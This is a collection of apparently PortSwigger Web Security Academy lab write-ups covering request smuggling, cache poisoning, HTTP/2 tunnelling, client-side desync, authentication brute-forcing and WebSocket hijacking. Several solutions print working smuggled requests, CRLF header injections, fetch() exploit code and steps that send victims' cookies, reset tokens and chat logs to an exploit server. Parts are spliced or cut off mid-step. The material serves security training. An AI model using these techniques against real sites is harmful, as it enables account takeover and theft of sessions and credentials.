###### Jarno Timmermans ### Lab: Exploiting HTTP request smuggling to perform web cache poisoning This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server is configured to cache certain responses. To solve the lab, perform a request smuggling attack that causes the cache to be poisoned, such that a subsequent request for a JavaScript file receives a redirection to the exploit server. The poisoned cache should alert `document.cookie`. ##### Notes - Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the **Request attributes** section of the **Inspector** panel. - The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user's request occurs as required. ##### Tip Manually fixing the length fields in request smuggling attacks can be tricky. Our [HTTP Request Smuggler](https://portswigger.net/blog/http-desync-attacks- request-smuggling-reborn#demo) Burp extension was designed to help. You can install it via the BApp Store. ##### Solution 1. Open a blog post, click "Next post", and try smuggling the resulting request with a different Host header: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1` 2. Observe that you can use this request to make the next request to the website get redirected to `/post` on a host of your choice. 3. Go to your exploit server, and create a `text/javascript` file at `/post` with the contents: `alert(document.cookie)` 4. Poison the server cache by first relaunching the previous attack using your exploit server's hostname as follows: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 193 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: YOUR-EXPLOIT-SERVER- ID.exploit-server.net Content-Type: application/x-www-form-urlencoded Content- Length: 10 x=1` 5. Then fetch `/resources/js/tracking.js` by sending the following request: `GET /resources/js/tracking.js HTTP/1.1 Host: YOUR-LAB-ID.web-security- academy.net Connection: close` If the attack has succeeded, the response to the `tracking.js` request should be a redirect to your exploit server. 6. Confirm that the cache has been poisoned by repeating the request to `tracking.js` several times and confirming that you receive the redirect every time. ##### Note You may need to repeat the POST/GET process several times before the attack succeeds. ###### Jarno Timmermans ### Lab: Exploiting HTTP request smuggling to perform web cache deception This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server is caching static resources. To solve the lab, perform a request smuggling attack such that the next user's request causes their API key to be saved in the cache. Then retrieve the victim user's API key from the cache and submit it as the lab solution. You will need to wait for 30 seconds from accessing the lab before attempting to trick the victim into caching their API key. You can log in to your own account using the following credentials: `wiener:peter` ##### Notes - Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the **Request attributes** section of the **Inspector** panel. - The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user's request occurs as required. ##### Tip Manually fixing the length fields in request smuggling attacks can be tricky. Our [HTTP Request Smuggler](https://portswigger.net/blog/http-desync-attacks- request-smuggling-reborn#demo) Burp extension was designed to help. You can install it via the BApp Store. ##### Solution 1. Log in to your account and access the user account page. 2. Observe that the response doesn't have any anti-caching headers. 3. Smuggle a request to fetch the API key: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 42 Transfer-Encoding: chunked 0 GET /my-account HTTP/1.1 X-Ignore: X` 4. Repeat this request a few times, then load the home page in an incognito browser window. 5. Use the Search function on the Burp menu to see if the phrase "Your API Key" has appeared in any static resources. If it hasn't, repeat the POST requests, force-reload the browser window, and re-run the search. 6. Submit the victim's API key as the lab solution. ###### Jarno Timmermans - [Lab](/web-security/request-smuggling/advanced/request-tunnelling/lab-request-smuggling-h2-bypass-access-controls-via-request-tunnelling) ### Lab: Bypassing access controls via HTTP/2 request tunnelling This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming header names. To solve the lab, access the admin panel at `/admin` as the `administrator` user and delete the user `carlos`. The front-end server doesn't reuse the connection to the back-end, so isn't vulnerable to classic request smuggling attacks. However, it is still vulnerable to [request tunnelling](/web-security/request- smuggling/advanced/request-tunnelling). ##### Hint The front-end server appends a series of [client authentication headers](/web- security/request-smuggling/exploiting#bypassing-client-authentication) to incoming requests. You need to find a way of leaking these. ##### Solution 1. Send the `GET /` request to Burp Repeater. Expand the Inspector's **Request Attributes** section and make sure the protocol is set to HTTP/2. 2. Using the Inspector, append an arbitrary header to the end of the request and try smuggling a `Host` header in its name as follows: **Name** `foo: bar\r\n Host: abc` **Value** `xyz` Observe that the error response indicates that the server processes your injected host, confirming that the lab is vulnerable to CRLF injection via header names. 3. In the browser, notice that the lab's search function reflects your search query in the response. Send the most recent `GET /?search=YOUR-SEARCH-QUERY` request to Burp Repeater and upgrade it to an HTTP/2 request. 4. In Burp Repeater, right-click on the request and select **Change request method**. Send the request and notice that the search function still works when you send the `search` parameter in the body of a `POST` request. 5. Add an arbitrary header and use its name field to inject a large `Content-Length` header and an additional `search` parameter as follows: **Name** `foo: bar\r\n Content-Length: 500\r\n \r\n search=x` **Value** `xyz` 6. In the main body of the request (in the message editor panel) append arbitrary characters to the original `search` parameter until the request is longer than the smuggled `Content-Length` header. 7. Send the request and observe that the response now reflects the headers that were appended to your request by the front-end server: `0 search results for 'x: xyz Content-Length: 644 cookie: session=YOUR- SESSION-COOKIE X-SSL-VERIFIED: 0 X-SSL-CLIENT-CN: null X-FRONTEND-KEY: YOUR- UNIQUE-KEY` Notice that these appear to be headers used for [client authentication](/web- security/request-smuggling/exploiting#bypassing-client-authentication). 8. Change the request method to `HEAD` and edit your malicious header so that it smuggles a request for the admin panel. Include the three client authentication headers, making sure to update their values as follows: **Name** `foo: bar\r\n \r\n GET /admin HTTP/1.1\r\n X-SSL-VERIFIED: 1\r\n X-SSL-CLIENT- CN: administrator\r\n X-FRONTEND-KEY: YOUR-UNIQUE-KEY\r\n \r\n` **Value** `xyz` 9. Send the request and observe that you receive an error response saying that not enough bytes were received. This is because the `Content-Length` of the requested resource is longer than the tunnelled response you're trying to read. 10. Change the `:path` pseudo-header so that it points to an endpoint that returns a shorter resource. In this case, you can use `/login`. 11. Send the request again. You should see the start of the tunnelled HTTP/1.1 response nested in the body of your main response. 12. In the response, find the URL for deleting `carlos` (`/admin/delete?username=carlos`), then update the path in your tunnelled request accordingly and resend it. Although you will likely encounter an error response, `carlos` is deleted and the lab is solved. - [Lab](/web-security/request-smuggling/advanced/request-tunnelling/lab-request-smuggling-h2-web-cache-poisoning-via-request-tunnelling) ### Lab: Web cache poisoning via HTTP/2 request tunnelling This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests and doesn't consistently sanitize incoming headers. To solve the lab, poison the cache in such a way that when the victim visits the home page, their browser executes `alert(1)`. A victim user will visit the home page every 15 seconds. The front-end server doesn't reuse the connection to the back-end, so isn't vulnerable to classic request smuggling attacks. However, it is still vulnerable to [request tunnelling](/web-security/request- smuggling/advanced/request-tunnelling). ##### Solution 1. Send a request for `GET /` to Burp Repeater. Expand the Inspector's **Request Attributes** section and make sure the protocol is set to HTTP/2. 2. Using the Inspector, try smuggling an arbitrary header in the `:path` pseudo-header, making sure to preserve a valid request line for the downgraded request as follows: **Name** `:path` **Value** `/?cachebuster=1 HTTP/1.1\r\n Foo: bar` Observe that you still receive a normal response, confirming that you're able to inject via the `:path`. 3. Change the request method to `HEAD` and use the `:path` pseudo-header to tunnel a request for another arbitrary endpoint as follows: **Name** `:path` **Value** `/?cachebuster=2 HTTP/1.1\r\n Host: YOUR-LAB-ID.web-security-academy.net\r\n \r\n GET /post?postId=1 HTTP/1.1\r\n Foo: bar` Note that we've ensured that the main request is valid by including a `Host` header before the split. We've also left an arbitrary trailing header to capture the `HTTP/1.1` suffix that will be appended to the request line by the front-end during rewriting. 4. Send the request and observe that you are able to view the tunnelled response. If you can't, try using a different `postId`. 5. Remove everything except the path and cachebuster query parameter from the `:path` pseudo-header and resend the request. Observe that you have successfully poisoned the cache with the tunnelled response. 6. Now you need to find a gadget that reflects an HTML-based XSS payload without encoding or escaping it. Send a response for `GET /resources` and observe that this triggers a redirect to `/resources/`. 7. Try tunnelling this request via the `:path` pseudo-header, including an XSS payload in the query string as follows. **Name** `:path` **Value** `/?cachebuster=3 HTTP/1.1\r\n Host: YOUR-LAB-ID.web-security-academy.net\r\n \r\n GET /resources? HTTP/1.1\r\n Foo: bar` Observe that the request times out. This is because the `Content-Length` header in the main response is longer than the nested response to your tunnelled request. 8. From the proxy history, check the `Content-Length` in the response to a normal `GET /` request and make a note of its value. Go back to your malicious request in Burp Repeater and add enough arbitrary characters after the closing `` tag to pad your reflected payload so that the length of the tunnelled response will exceed the `Content-Length` you just noted. 9. Send the request and confirm that your payload is successfully reflected in the tunnelled response. If you still encounter a timeout, you may not have added enough padding. 10. While the cache is still poisoned, visit the home page using the same cachebuster query parameter and confirm that the `alert()` fires. 11. In the Inspector, remove the cachebuster from your request and resend it until you have poisoned the cache. Keep resending the request every 5 seconds or so to keep the cache poisoned until the victim visits the home page and the lab is solved. ### Lab: Client-side desync This lab is vulnerable to client-side desync attacks because the server ignores the `Content-Length` header on requests to some endpoints. You can exploit this to induce a victim's browser to disclose its session cookie. To solve the lab: 1. Identify a client-side desync vector in Burp, then confirm that you can replicate this in your browser. 2. Identify a gadget that enables you to store text data within the application. 3. Combine these to craft an exploit that causes the victim's browser to issue a series of cross-domain requests that leak their session cookie. 4. Use the stolen cookie to access the victim's account. ##### Hint This lab is a client-side variation of a technique we covered in a [previous request smuggling lab](/web-security/request-smuggling/exploiting#capturing- other-users-requests). This lab is based on real-world vulnerabilities discovered by PortSwigger Research. For more details, check out [Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling](https://portswigger.net/research/browser-powered-desync-attacks#csd). ##### Solution **Identify a vulnerable endpoint** 1. Notice that requests to `/` result in a redirect to `/en`. 2. Send the `GET /` request to Burp Repeater. 3. In Burp Repeater, use the tab-specific settings to disable the **Update Content-Length** option. 4. Convert the request to a `POST` request (right-click and select **Change request method**). 5. Change the `Content-Length` to 1 or higher, but leave the body empty. 6. Send the request. Observe that the server responds immediately rather than waiting for the body. This suggests that it is ignoring the specified `Content-Length`. **Confirm the desync vector in Burp** 1. Re-enable the **Update Content-Length** option. 2. Add an arbitrary request smuggling prefix to the body: ```js POST / HTTP/1.1 Host: YOUR-LAB-ID.h1-web-security-academy.net Connection: close Content-Length: CORRECT GET /hopefully404 HTTP/1.1 Foo: x ``` 3. Add a normal request for `GET /` to the tab group, after your malicious request. 4. Using the drop-down menu next to the **Send** button, change the send mode to **Send group in sequence (single connection)**. 5. Change the `Connection` header of the first request to `keep-alive`. 6. Send the sequence and check the responses. If the response to the second request matches what you expected from the smuggled prefix (in this case, a 404 response), this confirms that you can cause a desync. **Replicate the desync vector in your browser** 1. Open a separate instance of Chrome that is **not** proxying traffic through Burp. 2. Go to the exploit server. 3. Open the browser developer tools and go to the **Network** tab. 4. Ensure that the **Preserve log** option is selected and clear the log of any existing entries. 5. Go to the **Console** tab and replicate the attack from the previous section using the `fetch()` API as follows: ```js fetch('https://YOUR-LAB-ID.h1-web-security-academy.net', { method: 'POST', body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x', mode: 'cors', credentials: 'include', }).catch(() => { fetch('https://YOUR-LAB-ID.h1-web-security-academy.net', { mode: 'no-cors', credentials: 'include' }) }) ``` Note that we're intentionally triggering a CORS error to prevent the browser from following the redirect, then using the `catch()` method to continue the attack sequence. 6. On the **Network** tab, you should see two requests: - The main request, which has triggered a CORS error. - A request for the home page, which received a 404 response. This confirms that the desync vector can be triggered from a browser. **Identify an exploitable gadget** 1. Back in Burp's browser, visit one of the blog posts and observe that this lab contains a comment function. 2. From the **Proxy > HTTP history**, find the `GET /en/post?postId=x` request. Make note of the following: - The `postId` from the query string - Your `session` and `_lab_analytics` cookies - The `csrf` token 3. In Burp Repeater, use the desync vector from the previous section to try to capture your own arbitrary request in a comment. For example: Request 1: `POST / HTTP/1.1 Host: YOUR-LAB-ID.h1-web-security-academy.net Connection: keep-alive Content-Length: CORRECT POST /en/post/comment HTTP/1.1 Host: YOUR- LAB-ID.h1-web-security-academy.net Cookie: session=YOUR-SESSION-COOKIE; _lab_analytics=YOUR-LAB-COOKIE Content-Length: NUMBER-OF-BYTES-TO-CAPTURE Content-Type: x-www-form-urlencoded Connection: keep-alive csrf=YOUR-CSRF- TOKEN&postId;=YOUR-POST-ID&name;=wiener&email;=wiener@web-security- academy.net&website;=https://ginandjuice.shop&comment;= ` Request 2: `GET /capture-me HTTP/1.1 Host: YOUR-LAB-ID.h1-web-security-academy.net` Note that the number of bytes that you try to capture must be longer than the body of your `POST /en/post/comment` request prefix, but shorter than the follow-up request. 4. Back in the browser, refresh the blog post and confirm that you have successfully output the start of your `GET /capture-me` request in a comment. **Replicate the attack in your browser** 1. Open a separate instance of Chrome that is **not** proxying traffic through Burp. 2. Go to the exploit server. 3. Open the browser developer tools and go to the **Network** tab. 4. Ensure that the **Preserve log** option is selected and clear the log of any existing entries. 5. Go to the **Console** tab and replicate the attack from the previous section using the `fetch()` API as follows: ```js fetch('https://YOUR-LAB-ID.h1-web-security-academy.net', { method: 'POST', body: 'POST /en/post/comment HTTP/1.1\r\nHost: YOUR-LAB-ID.h1-web-security-academy.net\r\nCookie: session=YOUR-SESSION-COOKIE; _lab_analytics=YOUR-LAB-COOKIE\r\nContent-Length: NUMBER-OF-BYTES-TO-CAPTURE\r\nContent-Type: x-www-form-urlencoded\r\nConnection: keep-alive\r\n\r\ncsrf=YOUR-CSRF-TOKEN&postId;=YOUR-POST-ID&name;=wiener&email;=wiener@web-security-academy.net&website;=https://portswigger.net&comment;=', mode: 'cors', credentials: 'include', }).catch(() => { fetch('https://YOUR-LAB-ID.h1-web-security-academy.net/capture-me', { mode: 'no-cors', credentials: 'include' })}) ``` 6. On the **Network** tab, you should see three requests: - The initial request, which has triggered a CORS error. - A request for `/capture-me`, which has been redirected to the post confirmation page. - A request to load the post confirmation page. 7. Refresh the blog post and confirm that you have successfully output the start of your own `/capture-me` request via a browser-initiated attack. **Exploit** 1. Go to the exploit server. 2. In the **Body** panel, paste the script that you tested in the previous section. 3. Wrap the entire script in HTML `` 6. On the exploit server, open the access log. There should be a `GET` request from the victim containing their `stay-logged-in` cookie. 7. Decode the cookie in Burp Decoder. The result will be: `carlos:26323c16d5f4dabff3bb136f2460a943` 8. Copy the hash and paste it into a search engine. This will reveal that the password is `onceuponatime`. 9. Log in to the victim's account, go to the "My account" page, and delete their account to solve the lab. ##### Note The purpose of this lab is to demonstrate the potential of cracking passwords offline. Most likely, this would be done using a tool like hashcat, for example. When testing your clients' websites, we do not recommend submitting hashes of their real passwords in a search engine. ### Lab: Password reset poisoning via middleware This lab is vulnerable to password reset poisoning. The user `carlos` will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account. You can log in to your own account using the following credentials: `wiener:peter`. Any emails sent to this account can be read via the email client on the exploit server. ##### Solution 1. With Burp running, investigate the password reset functionality. Observe that a link containing a unique reset token is sent via email. 2. Send the `POST /forgot-password` request to Burp Repeater. Notice that the `X-Forwarded-Host` header is supported and you can use it to point the dynamically generated reset link to an arbitrary domain. 3. Go to the exploit server and make a note of your exploit server URL. 4. Go back to the request in Burp Repeater and add the `X-Forwarded-Host` header with your exploit server URL: `X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net` 5. Change the `username` parameter to `carlos` and send the request. 6. Go to the exploit server and open the access log. You should see a `GET /forgot-password` request, which contains the victim's token as a query parameter. Make a note of this token. 7. Go back to your email client and copy the valid password reset link (not the one that points to the exploit server). Paste this into the browser and change the value of the `temp-forgot-password-token` parameter to the value that you stole from the victim. 8. Load this URL and set a new password for Carlos's account. 9. Log in to Carlos's account using the new password to solve the lab. ### Lab: Password brute-force via password change This lab's password change functionality makes it vulnerable to brute-force attacks. To solve the lab, use the list of candidate passwords to brute-force Carlos's account and access his "My account" page. - Your credentials: `wiener:peter` - Victim's username: `carlos` - [Candidate passwords](/web-security/authentication/auth-lab-passwords) ##### Solution 1. With Burp running, log in and experiment with the password change functionality. Observe that the username is submitted as hidden input in the request. 2. Notice the behavior when you enter the wrong current password. If the two entries for the new password match, the account is locked. However, if you enter two different new passwords, an error message simply states `Current password is incorrect`. If you enter a valid current password, but two different new passwords, the message says `New passwords do not match`. We can use this message to enumerate correct passwords. 3. Enter your correct current password and two new passwords that do not match. Send this `POST /my-account/change-password` request to Burp Intruder. 4. In Burp Intruder, change the `username` parameter to `carlos` and add a payload position to the `current-password` parameter. Make sure that the new password parameters are set to two different values. For example: `username=carlos¤t-password=§incorrect-password§&new-password-1=123&new- password-2=abc` 5. In the **Payloads** side panel, enter the list of passwords as the payload set. 6. Click **Settings** to open the **Settings** side panel, then add a grep match rule to flag responses containing `New passwords do not match`. Start the attack. 7. When the attack finished, notice that one response was found that contains the `New passwords do not match` message. Make a note of this password. 8. In the browser, log out of your own account and lock back in with the username `carlos` and the password that you just identified. 9. Click **My account** to solve the lab. ### Lab: Broken brute-force protection, multiple credentials per request This lab is vulnerable due to a logic flaw in its brute-force protection. To solve the lab, brute-force Carlos's password, then access his account page. - Victim's username: `carlos` - [Candidate passwords](/web-security/authentication/auth-lab-passwords) ##### Solution 1. With Burp running, investigate the login page. Notice that the `POST /login` request submits the login credentials in `JSON` format. Send this request to Burp Repeater. 2. In Burp Repeater, replace the single string value of the password with an array of strings containing all of the candidate passwords. For example: `"username" : "carlos", "password" : [ "123456", "password", "qwerty" ... ]` 3. Send the request. This will return a 302 response. 4. Right-click on this request and select **Show response in browser**. Copy the URL and load it in the browser. The page loads and you are logged in as `carlos`. 5. Click **My account** to access Carlos's account page and solve the lab. ### Lab: 2FA bypass using a brute-force attack This lab's two-factor authentication is vulnerable to brute-forcing. You have already obtained a valid username and password, but do not have access to the user's 2FA verification code. To solve the lab, brute-force the 2FA code and access Carlos's account page. Victim's credentials: `carlos:montoya` ##### Note As the verification code will reset while you're running your attack, you may need to repeat this attack several times before you succeed. This is because the new code may be a number that your current Intruder attack has already attempted. ##### Hint You will need to use Burp macros in conjunction with Burp Intruder to solve this lab. For more information about macros, please refer to the [Burp Suite documentation](/burp/documentation/desktop/settings/sessions). Users proficient in Python might prefer to use the [Turbo Intruder](https://portswigger.net/bappstore/9abaa233088242e8be252cd4ff534988) extension, which is available from the BApp store. ##### Solution 1. With Burp running, log in as `carlos` and investigate the 2FA verification process. Notice that if you enter the wrong code twice, you will be logged out again. You need to use Burp's session handling features to log back in automatically before sending each request. 2. In Burp, click **Settings** to open the **Settings** dialog, then click **Sessions**. In the **Session Handling Rules** panel, click **Add**. The **Session handling rule editor** dialog opens. 3. In the dialog, go to the **Scope** tab. Under **URL Scope** , select the option **Include all URLs**. 4. Go back to the **Details** tab and under **Rule Actions** , click **Add > Run a macro**. 5. Under **Select macro** click **Add** to open the **Macro Recorder**. Select the following 3 requests: `GET /login POST /login GET /login2` Then click **OK**. The **Macro Editor** dialog opens. 6. Click **Test macro** and check that the final response contains the page asking you to provide the 4-digit security code. This confirms that the macro is working correctly. 7. Keep clicking **OK** to close the various dialogs until you get back to the main Burp window. The macro will now automatically log you back in as Carlos before each request is sent by Burp Intruder. 8. Send the `POST /login2` request to Burp Intruder. 9. In Burp Intruder, add a payload position to the `mfa-code` parameter. 10. In the **Payloads** side panel, select the **Numbers** payload type. Enter the range 0 - 9999 and set the step to 1. Set the min/max integer digits to 4 and max fraction digits to 0. This will create a payload for every possible 4-digit integer. 11. Click on **Resource pool** to open the **Resource pool** side panel. Add the attack to a resource pool with the **Maximum concurrent requests** set to `1`. 12. Start the attack. Eventually, one of the requests will return a `302` status code. Right-click on this request and select **Show response in browser**. Copy the URL and load it in the browser. 13. Click **My account** to solve the lab. ## WebSockets ### Lab: Manipulating WebSocket messages to exploit vulnerabilities This online shop has a live chat feature implemented using WebSockets. Chat messages that you submit are viewed by a support agent in real time. To solve the lab, use a WebSocket message to trigger an `alert()` popup in the support agent's browser. ##### Solution 1. Click "Live chat" and send a chat message. 2. In Burp Proxy, go to the WebSockets history tab, and observe that the chat message has been sent via a WebSocket message. 3. Using the browser, send a new message containing a `<` character. 4. In Burp Proxy, find the corresponding WebSocket message and observe that the `<` has been HTML-encoded by the client before sending. 5. Ensure that Burp Proxy is configured to intercept WebSocket messages, then send another chat message. 6. Edit the intercepted message to contain the following payload: `

` 7. Observe that an alert is triggered in the browser. This will also happen in the support agent's browser. - [Lab](/web-security/websockets/cross-site-websocket-hijacking/lab) ### Lab: Cross-site WebSocket hijacking This online shop has a live chat feature implemented using WebSockets. To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a [cross-site WebSocket hijacking attack](/web- security/websockets/cross-site-websocket-hijacking) to exfiltrate the victim's chat history, then use this gain access to their account. ##### Note To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use the provided exploit server and/or Burp Collaborator's default public server. ##### Solution 1. Click "Live chat" and send a chat message. 2. Reload the page. 3. In Burp Proxy, in the WebSockets history tab, observe that the "READY" command retrieves past chat messages from the server. 4. In Burp Proxy, in the HTTP history tab, find the WebSocket handshake request. Observe that the request has no CSRF tokens. 5. Right-click on the handshake request and select "Copy URL". 6. In the browser, go to the exploit server and paste the following template into the "Body" section: `` 7. Replace `your-websocket-url` with the URL from the WebSocket handshake (`YOUR-LAB-ID.web-security-academy.net/chat`). Make sure you change the protocol from `https://` to `wss://`. Replace `your-collaborator-url` with a payload generated by [Burp Collaborator](/burp/documentation/desktop/tools/collaborator). 8. Click "View exploit". 9. Poll for interactions in the Collaborator tab. Verify that the attack has successfully retrieved your chat history and exfiltrated it via Burp Collaborator. For every message in the chat, Burp Collaborator has received an HTTP request. The request body contains the full contents of the chat message in JSON format. Note that these messages may not be received in the correct order. 10. Go back to the exploit server and deliver the exploit to the victim. 11. Poll for interactions in the Collaborator tab again. Observe that you've received more HTTP interactions containing the victim's chat history. Examine the messages and notice that one of them contains the victim's username and password. 12. Use the exfiltrated credentials to log in to the victim user's account. ###### Jarno Timmermans ### Lab: Manipulating the WebSocket handshake to exploit vulnerabilities This online shop has a live chat feature implemented using WebSockets. It has an aggressive but flawed XSS filter. To solve the lab, use a WebSocket message to trigger an `alert()` popup in the support agent's browser. ##### Hint - If you're struggling to bypass the XSS filter, try out our [XSS labs](/web-security/cross-site-scripting). - Sometimes you can bypass IP-based restrictions using HTTP headers like `X-Forwarded-For`. ##### Solution 1. Click "Live chat" and send a chat message. 2. In Burp Proxy, go to the WebSockets history tab, and observe that the chat message has been sent via a WebSocket message. 3. Right-click on the message and select "Send to Repeater". 4. Edit and resend the message containing a basic XSS payload, such as: `

` 5. Observe that the attack has been blocked, and that your WebSocket connection has been terminated. 6. Click "Reconnect", and observe that the connection attempt fails because your IP address has been banned. 7. Add the following header to the handshake request to spoof your IP address: `X-Forwarded-For: 1.1.1.1` 8. Click "Connect" to successfully reconnect the WebSocket. 9. Send a WebSocket message containing an obfuscated XSS payload, such as: `

` ### Lab: Web cache poisoning with an unkeyed header This lab is vulnerable to web cache poisoning because it handles input from an unkeyed header in an unsafe way. An unsuspecting user regularly visits the site's home page. To solve this lab, poison the cache with a response that executes `alert(document.cookie)` in the visitor's browser. ##### Hint This lab supports the `X-Forwarded-Host` header. ##### Solution 1. With Burp running, load the website's home page 2. In Burp, go to "Proxy" > "HTTP history" and study the requests and responses that you generated. Find the `GET` request for the home page and send it to Burp Repeater. 3. Add a cache-buster query parameter, such as `?cb=1234`. 4. Add the `X-Forwarded-Host` header with an arbitrary hostname, such as `example.com`, and send the request. 5. Observe that the `X-Forwarded-Host` header has been used to dynamically generate an absolute URL for importing a JavaScript file stored at `/resources/js/tracking.js`. 6. Replay the request and observe that the response contains the header `X-Cache: hit`. This tells us that the response came from the cache. 7. Go to the exploit server and change the file name to match the path used by the vulnerable response: `/resources/js/tracking.js` 8. In the body, enter the payload `alert(document.cookie)` and store the exploit. 9. Open the `GET` request for the home page in Burp Repeater and remove the cache buster. 10. Add the following header, remembering to enter your own exploit server ID: `X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net` 11. Send your malicious request. Keep replaying the request until you see your exploit server URL being reflected in the response and `X-Cache: hit` in the headers. 12. To simulate the victim, load the poisoned URL in the browser and make sure that the `alert()` is triggered. Note that you have to perform this test before the cache expires. The cache on this lab expires every 30 seconds. 13. If the lab is still not solved, the victim did not access the page while the cache was poisoned. Keep sending the request every few seconds to re-poison the cache until the victim is affected and the lab is solved. ###### Jarno Timmermans ## Web cache poisoning ### Lab: Web cache poisoning with an unkeyed cookie This lab is vulnerable to web cache poisoning because cookies aren't included in the cache key. An unsuspecting user regularly visits the site's home page. To solve this lab, poison the cache with a response that executes `alert(1)` in the visitor's browser. ##### Solution 1. With Burp running, load the website's home page. 2. In Burp, go to "Proxy" > "HTTP history" and study the requests and responses that you generated. Notice that the first response you received sets the cookie `fehost=prod-cache-01`. 3. Reload the home page and observe that the value from the `fehost` cookie is reflected inside a double-quoted JavaScript object in the response. 4. Send this request to Burp Repeater and add a cache-buster query parameter. 5. Change the value of the cookie to an arbitrary string and resend the request. Confirm that this string is reflected in the response. 6. Place a suitable XSS payload in the `fehost` cookie, for example: `fehost=someString"-alert(1)-"someString` 7. Replay the request until you see the payload in the response and `X-Cache: hit` in the headers. 8. Load the URL in the browser and confirm the `alert()` fires. 9. Go back Burp Repeater, remove the cache buster, and replay the request to keep the cache poisoned until the victim visits the site and the lab is solved. ###### Jarno Timmermans ### Lab: Web cache poisoning with multiple headers This lab contains a web cache poisoning vulnerability that is only exploitable when you use multiple headers to craft a malicious request. A user visits the home page roughly once a minute. To solve this lab, poison the cache with a response that executes `alert(document.cookie)` in the visitor's browser. ##### Hint This lab supports both the `X-Forwarded-Host` and `X-Forwarded-Scheme` headers. ##### Solution 1. With Burp running, load the website's home page. 2. Go to "Proxy" > "HTTP history" and study the requests and responses that you generated. Find the `GET` request for the JavaScript file `/resources/js/tracking.js` and send it to Burp Repeater. 3. Add a cache-buster query parameter and the `X-Forwarded-Host` header with an arbitrary hostname, such as `example.com`. Notice that this doesn't seem to have any effect on the response. 4. Remove the `X-Forwarded-Host` header and add the `X-Forwarded-Scheme` header instead. Notice that if you include any value other than `HTTPS`, you receive a 302 response. The `Location` header shows that you are being redirected to the same URL that you requested, but using `https://`. 5. Add the `X-Forwarded-Host: example.com` header back to the request, but keep `X-Forwarded-Scheme: nothttps` as well. Send this request and notice that the `Location` header of the 302 redirect now points to `https://example.com/`. 6. Go to the exploit server and change the file name to match the path used by the vulnerable response: ` /resources/js/tracking.js` 7. In the body, enter the payload `alert(document.cookie)` and store the exploit. 8. Go back to the request in Burp Repeater and set the `X-Forwarded-Host` header as follows, remembering to enter your own exploit server ID: `X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net` 9. Make sure the `X-Forwarded-Scheme` header is set to anything other than `HTTPS`. 10. Send the request until you see your exploit server URL reflected in the response and `X-Cache: hit` in the headers. 11. To check that the response was cached correctly, right-click on the request in Burp, select "Copy URL", and load this URL in Burp's browser. If the cache was successfully poisoned, you will see the script containing your payload, `alert(document.cookie)`. Note that the `alert()` won't actually execute here. 12. Go back to Burp Repeater, remove the cache buster, and resend the request until you poison the cache again. 13. To simulate the victim, reload the home page in the browser and make sure that the `alert()` fires. 14. Keep replaying the request to keep the cache poisoned until the victim visits the site and the lab is solved. ###### Jarno Timmermans ### Lab: Targeted web cache poisoning using an unknown header This lab is vulnerable to web cache poisoning. A victim user will view any comments that you post. To solve this lab, you need to poison the cache with a response that executes `alert(document.cookie)` in the visitor's browser. However, you also need to make sure that the response is served to the specific subset of users to which the intended victim belongs. ##### Solution Solving this lab requires multiple steps. First, you need to identify where the vulnerability is and study how the cache behaves. You then need to find a way of targeting the right subset of users before finally poisoning the cache accordingly. 1. With Burp running, load the website's home page. 2. In Burp, go to "Proxy" > "HTTP history" and study the requests and responses that you generated. Find the `GET` request for the home page. 3. With the [Param Miner](/web-security/web-cache-poisoning#param-miner) extension enabled, right-click on the request and select "Guess headers". After a while, Param Miner will report that there is a secret input in the form of the `X-Host` header. 4. Send the `GET` request to Burp Repeater and add a cache-buster query parameter. 5. Add the `X-Host` header with an arbitrary hostname, such as `example.com`. Notice that the value of this header is used to dynamically generate an absolute URL for importing the JavaScript file stored at `/resources/js/tracking.js`. 6. Go to the exploit server and change the file name to match the path used by the vulnerable response: `/resources/js/tracking.js` 7. In the body, enter the payload `alert(document.cookie)` and store the exploit. 8. Go back to the request in Burp Repeater and set the `X-Host` header as follows, remembering to add your own exploit server ID: `X-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net` 9. Send the request until you see your exploit server URL reflected in the response and `X-Cache: hit` in the headers. 10. To simulate the victim, load the URL in the browser and make sure that the `alert()` fires. 11. Notice that the `Vary` header is used to specify that the `User-Agent` is part of the cache key. To target the victim, you need to find out their `User-Agent`. 12. On the website, notice that the comment feature allows certain HTML tags. Post a comment containing a suitable payload to cause the victim's browser to interact with your exploit server, for example: `

